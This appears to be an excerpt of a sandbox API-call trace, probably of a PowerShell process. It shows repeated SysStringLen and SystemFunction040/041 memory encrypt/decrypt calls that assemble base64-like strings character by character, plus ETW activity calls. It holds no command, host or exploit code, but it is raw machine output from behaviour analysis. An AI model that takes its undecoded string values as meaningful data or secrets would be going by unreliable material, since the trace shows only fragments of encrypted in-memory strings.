(param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x26cb\xba4d\xd9cb\x72ab\xec51\x76b4\x187f\x430b") returned 0x20 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x26cb\xba4d\xd9cb\x72ab\xec51\x76b4\x187f\x430b") returned 0x20 [0138.920] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7൦贘臨㦼") returned 0x20 [0138.920] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x1cf0\x37c9\x8dcc\x2bcf\xe646\x3b54\x9e15\xafa6") returned 0x20 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x1cf0\x37c9\x8dcc\x2bcf\xe646\x3b54\x9e15\xafa6") returned 0x20 [0138.920] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7n贘臨㦼") returned 0x20 [0138.921] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\xfb02\x852f\xef4a\xf2ce\x4a5a\xf427\xb466\x55e7") returned 0x20 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\xfb02\x852f\xef4a\xf2ce\x4a5a\xf427\xb466\x55e7") returned 0x20 [0138.921] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nD贘臨㦼") returned 0x20 [0138.921] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x2bd8\x21fd\x3717\x935c\xd690\x59ba\xe9c2\x4227") returned 0x20 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x2bd8\x21fd\x3717\x935c\xd690\x59ba\xe9c2\x4227") returned 0x20 [0138.921] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZ臨㦼") returned 0x20 [0138.921] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x4125\xd15d\xe88d\x175c\xdac0\x3e03\xad13\x3912") returned 0x20 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x4125\xd15d\xe88d\x175c\xdac0\x3e03\xad13\x3912") returned 0x20 [0138.921] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZt㦼") returned 0x20 [0138.921] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x5f65\x782f\x2668\x72c5\x5cb9\xf274\x5f53\xc300") returned 0x20 [0138.921] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x5f65\x782f\x2668\x72c5\x5cb9\xf274\x5f53\xc300") returned 0x20 [0138.921] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.921] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtG") returned 0x20 [0138.921] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930") returned 0x20 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930") returned 0x20 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930") returned 0x20 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930") returned 0x28 [0138.922] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGc\xfdeb괰ꀲ넑緈") returned 0x28 [0138.922] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xccbd\x79ea\x62ed\x252a\x9463\x946c\xcd89\x4d87") returned 0x28 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xccbd\x79ea\x62ed\x252a\x9463\x946c\xcd89\x4d87") returned 0x28 [0138.922] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci괰ꀲ넑緈") returned 0x28 [0138.922] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x24c7\xde65\x165c\xadd6\xe35\x13e1\x3ba4\x23d7") returned 0x28 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x24c7\xde65\x165c\xadd6\xe35\x13e1\x3ba4\x23d7") returned 0x28 [0138.922] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1ꀲ넑緈") returned 0x28 [0138.922] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xf52\x647e\x4462\xad7e\x14d0\xca4b\x89ab\x6489") returned 0x28 [0138.922] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xf52\x647e\x4462\xad7e\x14d0\xca4b\x89ab\x6489") returned 0x28 [0138.922] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.922] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nꀲ넑緈") returned 0x28 [0138.922] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xb4f3\xbf6c\xf912\xe30e\x406d\xab29\x44c3\x72a6") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xb4f3\xbf6c\xf912\xe30e\x406d\xab29\x44c3\x72a6") returned 0x28 [0138.923] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nP넑緈") returned 0x28 [0138.923] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xb35c\x3928\x95de\xa3a5\xc19b\xb1fd\x6b1e\x933b") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\xb35c\x3928\x95de\xa3a5\xc19b\xb1fd\x6b1e\x933b") returned 0x28 [0138.923] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPN緈") returned 0x28 [0138.923] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x92e5\x649b\xf0bc\x7193\x8159\x6511\x81f5\xc4a8") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x92e5\x649b\xf0bc\x7193\x8159\x6511\x81f5\xc4a8") returned 0x28 [0138.923] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPND") returned 0x28 [0138.923] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6a57\x9d1f\xbe96\x46c2\x9da\xdada\xf506\xd40b") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6a57\x9d1f\xbe96\x46c2\x9da\xdada\xf506\xd40b") returned 0x28 [0138.923] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPNDI") returned 0x28 [0138.923] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51") returned 0x28 [0138.923] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51") returned 0x28 [0138.924] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51") returned 0x30 [0138.924] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.924] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPNDIz텟⵹ᰢ㵓㵜춂") returned 0x30 [0138.924] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.924] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xb3ff\xd947\x5767\xd0e0\xbe48\x241c\xf76b\xcbc1") returned 0x30 [0138.924] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xb3ff\xd947\x5767\xd0e0\xbe48\x241c\xf76b\xcbc1") returned 0x30 [0138.924] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPNDIzI⵹ᰢ㵓㵜춂") returned 0x30 [0138.925] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xe624\xd316\x84b5\xf911\xe111\x900\x6126\xeea6") returned 0x30 [0138.925] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xe624\xd316\x84b5\xf911\xe111\x900\x6126\xeea6") returned 0x30 [0138.925] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPNDIzIQᰢ㵓㵜춂") returned 0x30 [0138.925] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xbcf0\x85ac\xf87b\x7795\x609a\xe32f\x92ad\x3ca5") returned 0x30 [0138.925] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\x78e8\xfdc1\xde78\xe30f\x64f2\xa584\x3833\xe930\x6ef9\xd175\x5e31\x1d24\xf993\x29c9\xa1cc\xfd51\xbcf0\x85ac\xf87b\x7795\x609a\xe32f\x92ad\x3ca5") returned 0x30 [0138.925] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX7nDZtGci1nPNDIzIQ=㵓㵜춂") returned 0x30 [0138.925] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0138.925] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.925] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.925] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.925] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.925] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.926] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.926] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.926] SysStringLen (param_1="") returned 0x8 [0138.926] SysStringLen (param_1="Y") returned 0x8 [0138.926] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.926] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.926] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.926] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.926] SysStringLen (param_1="YW") returned 0x8 [0138.926] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.926] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.926] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.926] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.926] SysStringLen (param_1="YWM") returned 0x8 [0138.926] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.926] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.926] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.926] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="YWM1") returned 0x8 [0138.927] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.927] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.927] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="YWM1O") returned 0x8 [0138.927] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.927] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 